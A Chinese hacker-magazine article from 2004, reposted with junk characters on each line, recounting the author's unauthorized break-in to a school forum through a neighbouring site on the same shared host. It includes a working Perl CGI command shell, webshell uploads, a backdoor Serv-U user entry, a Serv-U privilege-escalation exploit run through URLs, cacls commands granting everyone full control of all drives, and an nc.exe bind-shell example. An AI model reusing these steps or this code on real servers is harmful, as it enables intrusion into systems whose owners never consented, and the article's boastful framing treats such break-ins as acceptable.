剑走偏锋——灵巧的旁注攻击
0 I$ k9 f4 B6 n本文作者:angel
. }& ]& W, {! w7 g( o文章性质:原创3 Z5 ~& ^- `' l; V$ J
发布日期:2004-11-09
5 Y: A+ s+ J) P% C注意:
) v1 B9 S- S) }4 ^本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
9 }9 w! T! O5 w" U5 ?8 S本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。
5 g R6 E& X/ w8 l7 p, {+ n( Q, Q1 X; G/ K5 Y+ s+ C' s% ^ C7 v
终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。 ; f$ x- E, ^6 m9 ^ ]( T4 |4 i
& A% |5 f7 u+ A0 ` 一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。
3 _9 E8 R' ^+ h" R5 V7 n3 a
" ?# M% H7 d# }" C 不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。 ' n* Q" Y4 G& x, H' f
! t) l. {" e# k 一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。 * H, |) n" u! c8 i" v/ z
0 j' e- p% S& s; w: g3 t! z 大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。 , E4 h u; I$ s' Z6 w
4 L+ A% B3 [4 g- D$ ]8 m 没有目的的跳转目录着…… ) |) r1 a* u+ p8 N
1 t: J6 C6 ^0 g( b5 G 我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了…… 3 }. G$ z+ m6 V3 D6 f
) t- s, \: m8 O
结束了吗?不,我试着 FTP 一下: 1 R2 {1 |* a C t$ e3 c0 }
$ D! I9 w# H% x- T+ S$ t1 ]Microsoft Windows 2000 [Version 5.00.2195]
2 V9 f+ s6 [5 Q% i \0 s7 f(C) 版权所有 1985-2000 Microsoft Corp.
. n6 D1 W* C6 e+ b5 _1 k6 J) X
* r' P3 F G# U+ f# ZC:\Documents and Settings\Administrator>ftp www.school.com
- a5 L m& q* ^9 m: b6 `: u4 xConnected to www. school.com. 5 T! k, V. |) ?& X# y5 G$ l
220 Welcome to FTP Server...
4 f& ^8 z: |3 ]. p, Y0 U4 H; pUser (www.bjtrq.com:(none)):
3 l$ k/ p5 e1 f$ N# j, a* ^331 User name okay, need password.
6 ]5 y7 O0 y. K. I' L; {. m0 gPassword:
% M, t! j. H0 A& x' ^530 Not logged in. 6 r3 ~( H* {2 Q% t, B4 A$ m
Login failed. : y3 p# }; g! L) ]9 l1 c: Y5 B
ftp> bye ' [+ w+ H5 k3 g
221 Goodbye! . T3 x4 F: U" U' E; |, l* L
: f) _' b: j! P+ c' `2 f
8 y7 T6 a! g) L 从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的……
, J W5 j ]' G7 c
3 G, j! s- L0 A' M" ~ 原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。 ! |1 ]2 l/ O* y8 R
7 v* ?& A" m' p5 G
Application Data7 {. o! ~3 A4 f- n# c% L5 I
Documents. {3 F$ z8 g+ S* \! n2 d J0 s
DRM$ U6 J: ^6 M4 D% N0 P9 n0 e5 e
Favorites
S E& Q9 s2 x a- V GTemplates5 |; w8 L, T& F5 Y+ W% _
「开始」菜单
" f0 U2 x) p0 x% {( m: Z桌面/ ]$ D( v6 x9 o/ A" [( t% ?- ^
) D; l f" o+ k6 K9 E2 X* ?
% F% _ P4 ]7 ]" y& N 马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息,
& w0 S3 E$ g* l7 d S' ?; A" ?9 |, g t5 @: A
ActiveState ActivePerl 5.8
, {, w/ ?, O1 @: }2 H8 QAdministrative Tools
; d" B% d4 l. {9 \1 Y- i/ J* aDeerfield.com
2 F" M/ k5 {7 Y& Z1 [! M$ S2 @9 s7 K& qDTemp
# z$ [' _9 N1 c) [7 |5 zIPSentry8 m/ ^0 `, k5 u9 r. `$ u
MBM 5
" r) [: j3 @& P# H9 CNetMeter
0 o$ F2 L2 x) U! L% F: ^$ ~Network ICE
2 l! v2 [ y& i% A8 r, L7 ]Persits Software AspEmail% J) }+ f* T8 s0 K
Persits Software AspJpeg; B9 A! z. I$ K
Serv-U FTP Server' e3 i) S8 R2 v
Symantec Client Security
$ N5 }3 v; n+ _7 ] SWindows 优化大师3 w; K8 z5 y: E$ A6 d
WinRAR+ L$ p- T, ~2 z0 c5 V
启动
2 F7 z% F* X3 m9 P管理工具
' z3 ^7 P3 G2 V( o附件
; w8 z! r( B/ k$ B7 J & c5 }, a! q1 A; x
" a7 u3 i/ t6 j
呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。 u4 a# ^0 A4 D' I0 Y& c
2 T+ m6 Z- a! C9 h 先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
+ v/ q0 Q& N8 j' c" X9 c8 Q4 h+ X& I9 S; ]; R( C
User281=angel|1|0 " z# J# S: ]/ n( U
3 J* [9 c4 ]) {# N, i: E/ S
1 d2 {3 {) s+ h) ~6 L6 f4 T$ @6 l% g 然后加上
$ ~* N5 ?: b" q/ O0 ^: ~7 U/ S' \6 }% X/ E; x* J( u7 G
[USER=angel|1]
$ `8 l' e S( O0 S5 B+ S5 O# QPassword=ng98F85379EA68DBF97BAADCA99B69B805
2 x. s- V4 n! A/ C5 o# r/ t0 DHomeDir=D:\websites
: y; l1 n' X5 e. |' `4 d6 l6 a/ bRelPaths=1
}( o J5 `* o/ y# BTimeOut=600
" J' R$ H' a- \4 n$ ]Maintenance=System
; a) L' G- v2 m9 c. oAccess1=D:\websites|RWAMELCDP, U4 Z0 S) j5 M, ^
SKEYValues=% K4 C9 b! w A# E, M& |- r1 A; s
4 S3 g- z* W& B. W
! z! C% l# W. I7 c! D7 @! g0 V/ c' l 添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中…… # ?, ` F" b& |" B3 |0 |: ?
4 E+ n* B. b6 U& ~3 ~# ~3 [6 I, D 不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。 ' b& X/ ~3 ^7 N
9 M! E1 y* F+ d0 Z; y9 a7 @ 不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。 ' }9 R) e, ` I1 E! `- ]
$ U4 ^5 @' d5 l. L/ |. p% ^8 n
还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下:
% ~. H( E3 r- z
5 G0 z$ Y& k4 k& [#!/usr/bin/perl
: Y: R4 `' s3 }; Xbinmode(STDOUT);
: s! i d X; ]& V% `4 y7 I0 Lsyswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
8 t$ Q$ M. H U4 j6 _5 H- [$_ = $ENV{QUERY_STRING};
, G( K2 W7 ]) y9 g$ O5 es/%20/ /ig;
) C% z& N& r0 K( ms/%2f/\//ig;6 Y! ^. B! r0 d8 N4 d; L" m
$execthis = $_;
/ X; |# R2 @- H/ b# Gsyswrite(STDOUT, "<HTML><PRE>\r\n", 13);/ e. `. h( ` C0 N
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";: x/ e$ t$ v0 F1 c% [% L! u
system($execthis);5 `! k1 i7 M y, @
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17); ^# f; T. G1 U! ~/ [; f, e
close(STDERR);
2 q- b# {! U2 q& H+ c8 A6 vclose(STDOUT);
4 a8 E8 l. S$ q1 f: z* texit;3 U' B+ ^7 p* N5 J7 O+ j8 ^
; B1 O3 g% g. t A
$ w# x; a, b0 o3 f- L 我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!! - Y6 `( Y% w) ?7 j* u
2 T. r0 y- ~! ~, t# B: ]2 j7 K
显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交:
2 h8 l4 b4 k- _% D" K9 {4 j7 W x& a3 a
http://anyhost//cmd.pl?d:\user\bin\su.exe
# V# S; @ y9 _$ \1 ^) O- X! v ! c) G* N ]5 z. b* I
; {. j" ]6 I- N$ o+ }4 O6 K9 r# w/ x
返回:
$ h3 w" V* v6 z. J
" m v( c, C( e% RServ-u >3.x Local Exploit by xiaolu
/ f5 A: s( {7 k# F
" V6 W$ p% \( D. j8 N( EUSAGE: serv-u.exe "command"
8 I- J- O6 w* ]
1 _# x, R+ |# x7 Y* [" W5 rExample: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" ! c- G: B" M2 A/ _* J2 t4 C
0 f0 L6 q* \& C. _! C. @8 m
, M' |9 Q0 G; H8 K9 h2 w B 嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交: ) U' F. J: |0 |+ i2 Z
4 P: i4 I( U$ a# Y
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F" ( ~# ?9 q7 r+ \1 r" w$ E3 i
( M- C8 `5 B- ]% l" S6 `
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F" , m) T" D" R: `) Q- ]
0 N8 U k9 o! O- q% d
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F" $ ?( ~8 p c; B y
) X2 s4 }/ u9 `
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F" ; ]3 b5 X, p, \& N2 q
, ]; a% M3 g- |
- H" x( n: `4 K7 Z. H! u+ ~ 返回下面的信息,就表示成功了!!!
1 o M9 d# F6 T! Y0 s' Q/ k! P; t/ ?* y+ Z, E
Serv-u >3.x Local Exploit by xiaolu ( G% Y+ O) m, l, |
% ^, Y6 p6 k2 L7 b<220 Serv-U FTP Server v5.2 for WinSock ready... ; B' _$ F) s9 n; j
# \ ` F" T5 o4 E8 H, s" `
>USER LocalAdministrator
5 }4 M/ \/ ^2 p9 P/ q2 w
( R0 r2 K6 ~3 p+ }$ s7 \& Q( n4 @<331 User name okay, need password.
# @1 y+ E1 i6 t( ~+ K0 x: n& l9 ~: `' T x y! U7 I B+ C
******************************************************
& y |$ x* Y2 s9 B
* w3 g- G% t6 R$ D8 p" d>PASS #l@$ak#.lk;0@P ! p% \. |# J4 q
3 J' l4 g u3 E7 {7 h<230 User logged in, proceed.
0 D+ M! @" k: w. X4 m0 U3 N& v! O# }9 H0 C$ Y2 f' n& L
******************************************************
- {- M: X) c/ Y
! |8 g: X H, \% l( F5 ^>SITE MAINTENANCE
2 z9 e2 {3 H1 M" S5 ^0 c% P& H5 q7 i
******************************************************
X' m. V- w$ i- }) `0 u; Z5 [' [0 Z, J- G* D& j- K3 A
[+] Creating New Domain... . z3 Y' w# X1 V# u, A
& ^1 ~9 G5 ~% ?, E- p) \<200-DomainID=2
7 n3 H/ O) L1 r+ a$ O
1 Q3 \9 _3 b- U% H/ d<220 Domain settings saved
2 j* A8 v- q. i D; O( k* p+ W8 f4 a
****************************************************** ' e2 c9 N: b# f
5 b' w' s) K- n, E
[+] Domain xl:2 Created y1 E# K- I: O3 J* Q
: u+ h; Y8 F' ~; S+ |; g- ~7 Z! u
[+] Creating Evil User
+ F: {; f* X6 I4 L0 ~* R" |7 W, i0 G% O. T
<200-User=xl * V4 r5 t$ p) L1 |
( n1 q" V; K# E5 r7 \. b" b* L* e200 User settings saved $ [0 R- ?7 J7 A; T! _; r
}$ t7 u9 F8 v# v7 t****************************************************** ; J8 @; J+ ?/ }
' d2 F( o. ?+ N% p; n J[+] Now Exploiting...
/ \. B A% L4 {6 C$ ~( Y( ^( C0 l: B- J* o1 d
>USER xl + L: c+ s9 C8 O, n6 w. w4 q+ h
5 S1 ]7 H" m9 y8 x2 K# {2 E3 J( d<331 User name okay, need password. , {9 A) O; V" g* N" S4 x, c9 R
5 b& f O8 a& m2 D
****************************************************** & w) H! _0 x2 H6 E& J
1 S& Q; S8 Y* I( K) d
>PASS 111111 3 H' `& d$ V) \: I. E$ _! [. |
* T& i( _; B, p3 T @7 d+ s0 l& v7 B. G2 X<230 User logged in, proceed. $ c7 u3 d# L( y7 n: |
2 v6 F% R5 L9 N* w% i. u******************************************************
0 U8 d5 k) i+ c2 N4 D
# Q7 i% H8 L, E$ {, Y5 p" }9 u[+] Now Executing: cacls.exe c: /E /T /G everyone:F 3 g; i! u# \3 K5 K, L
5 l+ Q8 S, Z9 X7 J p<220 Domain deleted
; N2 F) N# O/ H5 s; l# I6 x6 `6 ^% T n% m
******************************************************
; f8 n( Y) n5 x3 _ V9 w" Q. o. L, ?1 K
) P |- m5 r3 h$ ?. l) y0 Q1 L 每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员: 8 F# a6 a+ G: d9 K& X0 h
5 J6 z( Y- `. N: F0 _" \http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
$ W: d% z5 Q2 W4 ]- f) S . _ E3 ^8 Z# x
1 D& q/ n( t2 ?9 C 现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。 * s. \9 f) z0 |5 p4 W
. V3 r( t4 `$ W' K! e7 y
说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。
) ? k4 F& L) a
2 P) X! a4 ^$ Y9 E) q0 l: W7 b- h # W1 W3 U7 m8 E* h" v+ K
|